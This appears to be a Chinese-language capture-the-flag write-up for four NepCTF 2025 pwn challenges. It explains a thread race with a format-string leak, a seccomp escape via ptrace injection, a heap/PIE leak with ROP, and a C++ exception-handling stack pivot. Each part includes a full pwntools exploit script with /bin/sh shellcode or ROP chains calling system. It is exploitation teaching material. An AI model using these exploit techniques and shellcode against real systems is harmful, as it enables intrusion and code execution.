nepCTF2025 pwn题解
time
用到pthread_create()
创建线程,而线程是使用的同一个内存空间。
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREFnewthread[1] = __readfsqword(0x28u);setbuf(stdin, 0LL);setbuf(stdout, 0LL);setbuf(stderr, 0LL);puts_ls();while ( 1 ){while ( !(unsigned int)if_flag() );pthread_create(newthread, 0LL, start_routine, 0LL);}
}
void __fastcall start_routine(void *a1)
{unsigned int v1; // eaxint i; // [rsp+4h] [rbp-46Ch]int j; // [rsp+8h] [rbp-468h]int fd; // [rsp+Ch] [rbp-464h]char v5[96]; // [rsp+10h] [rbp-460h] BYREFchar v6[16]; // [rsp+70h] [rbp-400h] BYREFchar buf[1000]; // [rsp+80h] [rbp-3F0h] BYREFunsigned __int64 v8; // [rsp+468h] [rbp-8h]v8 = __readfsqword(0x28u);sub_1329(v5);v1 = strlen(file);md5_1(v5, file, v1);md5_2(v5, (__int64)v6);puts("I will tell you last file name content in md5:");for ( i = 0; i <= 15; ++i )printf("%02X", (unsigned __int8)v6[i]);putchar('\n');for ( j = 0; j <= 999; ++j )buf[j] = 0;fd = open(file, 0);if ( fd >= 0 ){read(fd, buf, 0x3E8uLL);close(fd);printf("hello ");printf(name);puts(" ,your file read done!");}else{puts("file not found!");}
}
循环里面套循环,start_routine函数里面是读取文件的内容到栈,之后,可以利用格式化字符串printf(name);
来输出文件内容。
那么很简单,咱们只需要读取flag到栈上即可,也就是file要为'flag',但是if_flag函数会进行检测,那么咱们只需要竞争这个file,使其在if_flag前为非flag字符串,之后进入线程后快速更改file为flag。
exp
#!/usr/bin/env python3
from pwncli import *
context(arch='amd64',os='linux',log_level='debug')
p = lambda s,t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")# sh = remote("nepctf32-24ji-l5g4-1wiu-rijztdfhc163.nepctf.com",443,ssl=True)
sh = process("./time")
sh.sendlineafter("please input your name:\n", "%22$p|%23$p|%24$p|%25$p|%26$p|%27$p|%28$p|%29$p")
sh.sendline("time")
sh.sendline("flag")
try:sh.recvuntil("356313CAFBE4C77CB9DC1BE083E946E4\n")sh.interactive()
except EOFError:pass
smallbox
ptrace注入,甚至直接抄即可 https://skyeto.com/p/seccomp-jail-escape-using-ptrace
exp
#!/usr/bin/env python3
from pwncli import *
context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")# sh = remote("node5.buuoj.cn", 26759)
sh = process("./smallbox")shell2 = asm('''
push 0x42
pop rax
inc ah
cqo
push rdx
movabs rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rsi
mov r8, rdx
mov r10, rdx
syscall
''')
shell2 = shell2.ljust((len(shell2) + 3) & ~3, b'\x90')shellcode = asm('''mov edi, 0x10 mov esi, [rbp - 0xc]xor rdx, rdx xor r10, r10 mov eax, 101syscallsub rsp,512mov edi, 12mov esi, [rbp - 0xc]xor rdx, rdx lea r10, [rsp + 100] mov eax, 101syscallmov r12, [rsp + 100 + 128]
''')
write_bytes = ""
for i in range(0, len(shell2), 4):write_bytes += f"""mov rax, 101;mov rdi, 4;mov rsi, [rbp - 0xc];/* Memory location to write to */mov rdx, [rsp + 100 + 128];add rdx, {i};/* Payload bytes */mov r10, {u32(shell2[i:i + 4].rjust(4, b"0"))};syscall;add r12, 4; /* r12 came in handy here */"""
shellcode += asm(write_bytes)shellcode+=asm('''/* detach ptrace and restart execution */mov rax, 101;mov rdi, 17;mov rsi, [rbp - 0xc];mov rdx, 0;mov r10, 0;syscall;/* yield */mov eax, 1loop:test eax, 1jne loop;
''')gdb.attach(sh, 'brva 0x143F\nc')
sh.sendline(shellcode)sh.interactive()
astray2
主要漏洞
- 对user_read没有限制,读取manage_physic[0]可以直接泄露堆地址和pie。
- 利用user_operation可以绕过checkvisit的检测。
- 对manage_physic[0]进行修改
exp
#!/usr/bin/env python3
from pwncli import *context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")sh = remote("nepctf30-ebzf-qqwr-tp53-tptqny5nk238.nepctf.com",443,ssl=True)
# sh = process("./astray")
e = ELF('./astray')
libc = ELF('./libc.so.6')def user_read(index):sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')sh.sendafter("user write to logs(USER_write)\n", 'USER_read')sh.sendlineafter("10-19: user can visit\n", str(index))def user_write(index, data):sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')sh.sendafter("user write to logs(USER_write)\n", 'USER_write')sh.sendlineafter("10-19: user can visit\n", str(index))sh.sendline(data)def manager_read(index):sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_read')sh.sendlineafter("1-19: manager can visit\n", str(index))def manager_write(index, data):sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_write')sh.sendlineafter("1-19: manager can visit\n", str(index))sh.sendline(data)def manager_visit_read(index):sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_visit')sh.sendlineafter("1-19: manager can visit\n", str(index))sh.sendlineafter('2: manager visit user to write to user_logs\n', '1')def manager_visit_write(index, data):sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_visit')sh.sendlineafter("1-19: manager can visit\n", str(index))sh.sendlineafter('2: manager visit user to write to user_logs\n', '2')sh.sendline(data)user_read(0)
sh.recv(8)
heap = u64(sh.recv(8))
pie = u64(sh.recv(8)) - 0x41a0p("pie", pie)
p("heap", heap)manager_write(10,p64(0) + p64(heap-0x1620) + p64(pie+e.got['puts']))sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')
sh.sendafter("user write to logs(USER_write)\n", 'MANAGER_visit')
sh.sendlineafter("10-19: user can visit\n", '0')manager_visit_write(10,b'a'*8 + p64(heap) + p64(heap-0x1630))manager_visit_read(10)
libc.address = u64(sh.recv(8))-0x80e50
p("libc", libc.address)manager_write(10,p64(0) + p64(heap-0x1620) + p64(libc.sym['_environ']))
manager_visit_read(10)
stack = u64(sh.recv(8))
p("stack", stack)manager_write(10,p64(0) + p64(heap-0x1620) + p64(stack-0x150))
# gdb.attach(sh,'brva 0x0000000000001958\nc')pop_rdi = libc.address+0x000000000002a3e5
ret = 0x00000000000f9154+libc.address
manager_visit_write(10, p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym['system']))sh.interactive()
canutrytry
主要用到cpp的错误处理机制。
https://zhuanlan.zhihu.com/p/13157062538
可以看到op1和op2在同一个try内,而op2内存在栈溢出并且op2只能用一次,那么就只能先利用op1来报错获取libc和stack地址,之后利用op2的栈溢出,覆盖返回地址为0x000000000401ED9
此try对应了0x000000000401F19
的catch。
在运行buf1返回时有
不过似乎没什么用
之后进入buf2
又有栈溢出,那么此处栈溢出可以利用为栈迁移,迁移到buf1写入的rop里,即可。
此题还存在沙盒,只能使用write、read、colse、futex,还close(1),这其实很简单,只需要write(2, flag, size)即可。
exp
#!/usr/bin/env python3
from pwncli import *context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")# sh = remote("node5.buuoj.cn", 26759)
sh = process("./canutrytry")
libc = ELF("./libc.so.6")def set_size(size):sh.sendlineafter(">>", '1')sh.sendlineafter(">>", '2')sh.sendlineafter(":", str(size))def add():sh.sendlineafter(">>", '1')sh.sendlineafter(">>", '1')def edit(index, data):sh.sendlineafter(">>", '1')sh.sendlineafter(">>", '3')sh.sendlineafter(":", str(index))sh.sendafter(":", data)def door(index):sh.sendlineafter(">>", '2')sh.sendlineafter(": ", str(index))set_size(0x30)
add()set_size(-1)
add()sh.recvuntil("setbufaddr:")
libc.address = eval(sh.recvline()) - 0x88060
sh.recvuntil("stackaddr:")
stack = eval(sh.recvline())
p("libc", libc.address)
p("stack", stack)edit(0, b'a' * 0x20 + p64(0x405460) + p64(0x401ED9))# gdb.attach(sh, 'b *0x0000000000401600\nc')
door(0)pop_rdi = 0x2a3e5 + libc.address
pop_rsi_r15 = 0x2a3e3 + libc.address
pop_rdx_r12 = 0x11f497 + libc.address
rop = p64(pop_rdi) + p64(2) + p64(pop_rsi_r15) + p64(0x4053C0) + p64(0) + \p64(pop_rdx_r12) + p64(0x40) + p64(0) + \p64(libc.sym['write'])
sh.sendlineafter("well,prepare your rop now!\n", rop)
sh.sendlineafter('Enter your flag: ', b'b' * 0x10)
sh.send(b'c' * 0x10 + p64(0x405458))sh.interactive()